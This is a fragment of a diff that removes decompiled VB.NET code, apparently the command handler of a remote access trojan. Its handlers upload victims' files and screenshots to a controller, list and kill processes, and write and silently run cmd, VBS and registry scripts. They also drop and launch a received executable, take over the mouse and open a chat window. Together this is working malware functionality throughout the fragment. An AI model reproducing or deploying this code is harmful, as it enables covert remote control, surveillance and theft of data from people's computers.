ProjectData.ClearProjectError(); - } - } - else - { - try - { - string s14 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path5 = API.DEB(ref s14); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s14 - }, (string[]) null, true, false); - File.Delete(path5); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - } - else if (Operators.CompareString(Left1, "#14", false) == 0) - { - IND.ER = 1; - Array Instance19 = Instance1; - object[] objArray34 = new object[1]; - object[] objArray35 = objArray34; - int num27 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num27; - objArray35[0] = (object) local; - object[] Arguments = objArray34; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments, (string[]) null)); - string Path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num27, - (object) s - }, (string[]) null, true, false); - FileSystem.MkDir(Path); - } - else if (Operators.CompareString(Left1, "#15", false) == 0) - { - IND.ER = 1; - int num28 = Instance1.Length - 1; - for (int index = 1; index <= num28; ++index) - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s - }, (string[]) null, true, false); - Array Instance20 = (Array) Strings.Split(Expression, "\r\n"); - if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"))) - Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - else - File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - } - } - else if (Operators.CompareString(Left1, "#16", false) == 0) - { - IND.ER = 1; - B b = MyProject.Forms.B; - string str48 = "#11" + IND.Y; - Array Instance21 = Instance1; - object[] objArray36 = new object[1]; - object[] objArray37 = objArray36; - int num29 = 1; - // ISSUE: variable of a boxed type - __Boxed local34 = (ValueType) num29; - objArray37[0] = (object) local34; - object[] Arguments = objArray36; - string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments, (string[]) null)); - string path = API.DEB(ref s15); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num29, - (object) s15 - }, (string[]) null, true, false); - string s16 = File.ReadAllText(path); - string str49 = API.ENB(ref s16); - string str50 = Conversions.ToString(Operators.ConcatenateObject((object) (str48 + str49 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - ref string local35 = ref str50; - b.SEND(ref local35); - } - else if (Operators.CompareString(Left1, "#17", false) == 0) - { - IND.ER = 1; - Array Instance22 = Instance1; - object[] objArray38 = new object[1]; - object[] objArray39 = objArray38; - int num30 = 1; - // ISSUE: variable of a boxed type - __Boxed local36 = (ValueType) num30; - objArray39[0] = (object) local36; - object[] Arguments9 = objArray38; - string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments9, (string[]) null)); - string path = API.DEB(ref s17); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num30, - (object) s17 - }, (string[]) null, true, false); - Array Instance23 = Instance1; - object[] objArray40 = new object[1]; - object[] objArray41 = objArray40; - int num31 = 2; - // ISSUE: variable of a boxed type - __Boxed local37 = (ValueType) num31; - objArray41[0] = (object) local37; - object[] Arguments10 = objArray40; - string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, Arguments10, (string[]) null)); - string contents = API.DEB(ref s18); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num31, - (object) s18 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - } - else if (Operators.CompareString(Left1, "#18", false) == 0) - { - IND.ER = 1; - Array Instance24 = Instance1; - object[] objArray42 = new object[1]; - object[] objArray43 = objArray42; - int num32 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num32; - objArray43[0] = (object) local; - object[] Arguments = objArray42; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num32, - (object) s - }, (string[]) null, true, false); - File.Create(path); - } - else if (Operators.CompareString(Left1, "#19", false) == 0) - { - IND.ER = 1; - MemoryStream memoryStream = new MemoryStream(); - int num33 = Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length + IND.Y.Length - 1; - int num34 = Da.Length - 1; - for (int index = num33; index <= num34; ++index) - memoryStream.WriteByte(Da[index]); - Array Instance25 = Instance1; - object[] objArray44 = new object[1]; - object[] objArray45 = objArray44; - int num35 = 1; - // ISSUE: variable of a boxed type - __Boxed local38 = (ValueType) num35; - objArray45[0] = (object) local38; - object[] Arguments = objArray44; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance25, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num35, - (object) s - }, (string[]) null, true, false); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local39 = ref flag; - byte[] bytes = API.ZIP(array, ref local39); - File.WriteAllBytes(path, bytes); - } - else if (Operators.CompareString(Left1, "#20", false) == 0) - { - IND.ER = 1; - Array Instance26 = Instance1; - object[] objArray46 = new object[1]; - object[] objArray47 = objArray46; - int num36 = 1; - // ISSUE: variable of a boxed type - __Boxed local40 = (ValueType) num36; - objArray47[0] = (object) local40; - object[] Arguments11 = objArray46; - string s19 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments11, (string[]) null)); - string Expression = API.DEB(ref s19); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num36, - (object) s19 - }, (string[]) null, true, false); - Array Instance27 = (Array) Strings.Split(Expression, "\\"); - MemoryStream memoryStream = new MemoryStream(); - byte[] buffer1 = (byte[]) NewLateBinding.LateGet((object) Encoding.Default, (System.Type) null, "GetBytes", new object[1] - { - Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#12" + IND.Y), NewLateBinding.LateIndexGet((object) Instance27, new object[1] - { - (object) (Instance27.Length - 1) - }, (string[]) null)), (object) IND.Y) - }, (string[]) null, (System.Type[]) null, (bool[]) null); - memoryStream.Write(buffer1, 0, buffer1.Length); - Array Instance28 = Instance1; - object[] objArray48 = new object[1]; - object[] objArray49 = objArray48; - int num37 = 1; - // ISSUE: variable of a boxed type - __Boxed local41 = (ValueType) num37; - objArray49[0] = (object) local41; - object[] Arguments12 = objArray48; - string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments12, (string[]) null)); - string path = API.DEB(ref s20); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num37, - (object) s20 - }, (string[]) null, true, false); - byte[] Byt = File.ReadAllBytes(path); - bool flag = true; - ref bool local42 = ref flag; - byte[] buffer2 = API.ZIP(Byt, ref local42); - memoryStream.Write(buffer2, 0, buffer2.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - memoryStream.Dispose(); - } - else if (Operators.CompareString(Left1, "#21", false) == 0) - { - IND.ER = 1; - int num38 = Instance1.Length - 1; - for (int index = 1; index <= num38; ++index) - { - Thread.Sleep(10); - string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string filename = API.DEB(ref s21); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s21 - }, (string[]) null, true, false); - new Bitmap(filename).Dispose(); - string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string Expression = API.DEB(ref s22); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s22 - }, (string[]) null, true, false); - Array Instance29 = (Array) Strings.Split(Expression, "\\"); - B b = MyProject.Forms.B; - string[] strArray8 = new string[5] - { - "#13", - IND.Y, - null, - null, - null - }; - string[] strArray9 = strArray8; - Array Instance30 = Instance29; - object[] objArray50 = new object[1]; - object[] objArray51 = objArray50; - int num39 = Instance29.Length - 1; - // ISSUE: variable of a boxed type - __Boxed local43 = (ValueType) num39; - objArray51[0] = (object) local43; - object[] Arguments = objArray50; - string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null)); - string str51 = API.ENB(ref s23); - NewLateBinding.LateIndexSetComplex((object) Instance29, new object[2] - { - (object) num39, - (object) s23 - }, (string[]) null, true, false); - strArray9[2] = str51; - strArray8[3] = IND.Y; - string[] strArray10 = strArray8; - string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path = API.DEB(ref s24); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s24 - }, (string[]) null, true, false); - string str52 = API.FEN(File.ReadAllBytes(path)); - strArray10[4] = str52; - string str53 = string.Concat(strArray8); - ref string local44 = ref str53; - b.SEND(ref local44); - } - } - else if (Operators.CompareString(Left1, "#22", false) == 0) - { - IND.ER = 1; - string str54; - foreach (Process process in Process.GetProcesses()) - { - try - { - str54 = str54 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - str54 = str54 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id); - ProjectData.ClearProjectError(); - } - } - B b = MyProject.Forms.B; - string str55 = "#14" + str54; - ref string local = ref str55; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#23", false) == 0) - { - IND.ER = 1; - int num40 = Instance1.Length - 1; - for (int index = 1; index <= num40; ++index) - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null))).Kill(); - } - else if (Operators.CompareString(Left1, "#24", false) == 0) - { - try - { - chat.clos = true; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - Array Instance31 = Instance1; - object[] objArray52 = new object[1]; - object[] objArray53 = objArray52; - int num41 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num41; - objArray53[0] = (object) local; - object[] Arguments = objArray52; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance31, Arguments, (string[]) null)); - string str56 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num41, - (object) s - }, (string[]) null, true, false); - B.Cht = str56; - } - else if (Operators.CompareString(Left1, "#25", false) == 0) - { - IND.ER = 0; - if (B.Chat.InvokeRequired) - { - IND.indd method = new IND.indd(IND.inddd); - Array Instance32 = Instance1; - object[] objArray54 = new object[1]; - object[] objArray55 = objArray54; - int num42 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num42; - objArray55[0] = (object) local; - object[] Arguments = objArray54; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null)); - string str57 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num42, - (object) s - }, (string[]) null, true, false); - string str58 = str57; - B.Chat.Invoke((Delegate) method, (object) str58); - } - else - { - RichTextBox t1 = B.Chat.T1; - RichTextBox richTextBox = t1; - string[] strArray11 = new string[5] - { - t1.Text, - MyProject.Forms.chat.nick, - " : ", - null, - null - }; - string[] strArray12 = strArray11; - Array Instance33 = Instance1; - object[] objArray56 = new object[1]; - object[] objArray57 = objArray56; - int num43 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num43; - objArray57[0] = (object) local; - object[] Arguments = objArray56; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null)); - string str59 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num43, - (object) s - }, (string[]) null, true, false); - strArray12[3] = str59; - strArray11[4] = "\r\n"; - string str60 = string.Concat(strArray11); - richTextBox.Text = str60; - } - } - else if (Operators.CompareString(Left1, "#26", false) == 0) - { - IND.ER = 0; - chat.clos = true; - } - else if (Operators.CompareString(Left1, "#27", false) == 0) - { - IND.ER = 1; - int num44 = 0; - string s25; - do - { - if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - try - { - FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num44; - } - while (num44 <= 9999); - string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().ToLower(); - if (Operators.CompareString(lower, "cmd", false) == 0) - { - string path = s25; - Array Instance34 = Instance1; - object[] objArray58 = new object[1]; - object[] objArray59 = objArray58; - int num45 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num45; - objArray59[0] = (object) local; - object[] Arguments = objArray58; - string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null)); - string contents = API.DEB(ref s26); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s26 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s25, AppWinStyle.Hide); - } - else if (Operators.CompareString(lower, "vbs", false) == 0) - { - string path = s25; - Array Instance35 = Instance1; - object[] objArray60 = new object[1]; - object[] objArray61 = objArray60; - int num46 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num46; - objArray61[0] = (object) local; - object[] Arguments = objArray60; - string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null)); - string contents = API.DEB(ref s27); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num46, - (object) s27 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s25); - } - else if (Operators.CompareString(lower, "Reg", false) == 0) - { - string path = s25; - Array Instance36 = Instance1; - object[] objArray62 = new object[1]; - object[] objArray63 = objArray62; - int num47 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num47; - objArray63[0] = (object) local; - object[] Arguments = objArray62; - string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null)); - string contents = API.DEB(ref s28); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num47, - (object) s28 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s25); - } - else - { - string path = s25; - Array Instance37 = Instance1; - object[] objArray64 = new object[1]; - object[] objArray65 = objArray64; - int num48 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num48; - objArray65[0] = (object) local; - object[] Arguments = objArray64; - string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null)); - string contents = API.DEB(ref s29); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num48, - (object) s29 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s25); - } - B b = MyProject.Forms.B; - string str61 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s25); - ref string local45 = ref str61; - b.SEND(ref local45); - } - else if (Operators.CompareString(Left1, "#28", false) == 0) - { - IND.ER = 1; - object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false)) - { - B b = MyProject.Forms.B; - string y = IND.Y; - ref byte[] local46 = ref C.Plug; - string str62 = "plugin.C"; - ref string local47 = ref str62; - string str63 = "W"; - ref string local48 = ref str63; - object obj = (object) new object[0]; - ref object local49 = ref obj; - string s = Conversions.ToString(C.inv(ref local46, ref local47, ref local48, ref local49)); - string str64 = API.ENB(ref s); - string str65 = "#17" + y + str64; - ref string local50 = ref str65; - b.SEND(ref local50); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false)) - { - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)); - ref byte[] local51 = ref C.Plug; - string str66 = "plugin.C"; - ref string local52 = ref str66; - string str67 = "CW"; - ref string local53 = ref str67; - object[] objArray66 = new object[2] - { - (object) integer, - null - }; - object[] objArray67 = objArray66; - Array Instance38 = Instance1; - object[] objArray68 = new object[1]; - object[] objArray69 = objArray68; - int num49 = 3; - // ISSUE: variable of a boxed type - __Boxed local54 = (ValueType) num49; - objArray69[0] = (object) local54; - object[] Arguments = objArray68; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null)); - string str68 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num49, - (object) s - }, (string[]) null, true, false); - objArray67[1] = (object) str68; - object obj = (object) objArray66; - ref object local55 = ref obj; - C.inv(ref local51, ref local52, ref local53, ref local55); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false)) - { - Array Instance39 = Instance1; - object[] objArray70 = new object[1]; - object[] objArray71 = objArray70; - int num50 = 2; - // ISSUE: variable of a boxed type - __Boxed local56 = (ValueType) num50; - objArray71[0] = (object) local56; - object[] Arguments13 = objArray70; - int integer1 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance39, Arguments13, (string[]) null)); - ref int local57 = ref integer1; - Array Instance40 = Instance1; - object[] objArray72 = new object[1]; - object[] objArray73 = objArray72; - int num51 = 3; - // ISSUE: variable of a boxed type - __Boxed local58 = (ValueType) num51; - objArray73[0] = (object) local58; - object[] Arguments14 = objArray72; - int integer2 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance40, Arguments14, (string[]) null)); - ref int local59 = ref integer2; - API.wd.G(ref local57, ref local59); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num51, - (object) integer2 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num50, - (object) integer1 - }, (string[]) null, true, false); - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false)) - return; - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance41 = Instance1; - object[] objArray74 = new object[1]; - object[] objArray75 = objArray74; - int num52 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num52; - objArray75[0] = (object) local; - object[] Arguments = objArray74; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments, (string[]) null)); - Image image = C.Capture(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num52, - (object) integer - }, (string[]) null, true, false); - MemoryStream memoryStream2 = memoryStream1; - ImageFormat jpeg = ImageFormat.Jpeg; - image.Save((Stream) memoryStream2, jpeg); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length); - memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length); - MyProject.Forms.B.WC.SendData(memoryStream3.ToArray()); - memoryStream1.Dispose(); - memoryStream3.Dispose(); - MyProject.Forms.B = (B) null; - } - } - else if (Operators.CompareString(Left1, "#29", false) == 0) - { - IND.ER = 0; - B b = MyProject.Forms.B; - string str69 = "#Bla"; - ref string local60 = ref str69; - b.SEND(ref local60); - int num53 = 0; - string str70; - while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe")) - { - try - { - File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"); - str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"; - goto label_259; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num53; - if (num53 > 999) - goto label_259; - } - str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"; -label_259: - string path = str70; - byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local61 = ref flag; - byte[] bytes = API.ZIP(Byt, ref local61); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str70, - Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#30", false) == 0) - { - try - { - Array Instance42 = Instance1; - object[] objArray76 = new object[1]; - object[] objArray77 = objArray76; - int num54 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num54; - objArray77[0] = (object) local; - object[] Arguments = objArray76; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num54, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#31", false) == 0) - { - IND.ER = 0; - if (B.Busy) - return; - B.Busy = true; - B b = MyProject.Forms.B; - string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height); - ref string local = ref str71; - b.SEND(ref local); - B.Busy = false; - } - else if (Operators.CompareString(Left1, "#32", false) == 0) - { - IND.ER = 0; - Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false)) - { - IND.mouse_event(8, 0, 0, 0, 1); - IND.mouse_event(16, 0, 0, 0, 1); - } - else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false)) - { - IND.mouse_event(2, 0, 0, 0, 1); - IND.mouse_event(4, 0, 0, 0, 1); - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false)) - return; - IND.mouse_event(2, 0, 0, 0, 1); - IND.mouse_event(4, 0, 0, 0, 1); - IND.mouse_event(2, 0, 0, 0, 1); - IND.mouse_event(4, 0, 0, 0, 1); - } - } - else if (Operators.CompareString(Left1, "#33", false) == 0) - { - B b = MyProject.Forms.B; - string str72 = "#5" + IND.Y + API.Gt(); - ref string local = ref str72; - b.SEND(ref local); - } - else - { - if (Operators.CompareString(Left1, "#34", false) != 0) - return; - IND.ER = 0; - Array Instance43 = Instance1; - object[] objArray78 = new object[1]; - object[] objArray79 = objArray78; - int num55 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num55; - objArray79[0] = (object) local; - object[] Arguments = objArray78; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null)); - byte[] numArray = C.Capture1(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num55, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - return; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - catch (Exception ex) - { - int lErl = num1; - ProjectData.SetProjectError(ex, lErl); - Exception exception = ex; - B.Busy = false; - B b = MyProject.Forms.B; - string[] strArray13 = new string[6] - { - "#10", - IND.Y, - "^", - Conversions.ToString(IND.ER), - IND.Y, - null - }; - string[] strArray14 = strArray13; - string message = exception.Message; - string str73 = API.ENB(ref message); - strArray14[5] = str73; - string str74 = string.Concat(strArray13); - ref string local = ref str74; - b.SEND(ref local); - IND.ER = 0; - ProjectData.ClearProjectError(); - } - } - - public static string siz(string Size) - { - if (Size.Length < 4) - return Size + " Bytes"; - string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0); - string str2 = " KB"; - int integer; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " MB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " GB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - return str1 + "." + Conversions.ToString(integer) + str2; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void mouse_event( - int dwFlags, - int dx, - int dy, - int cButtons, - int dwExtraInfo); - - public static byte[] SB(ref string s, 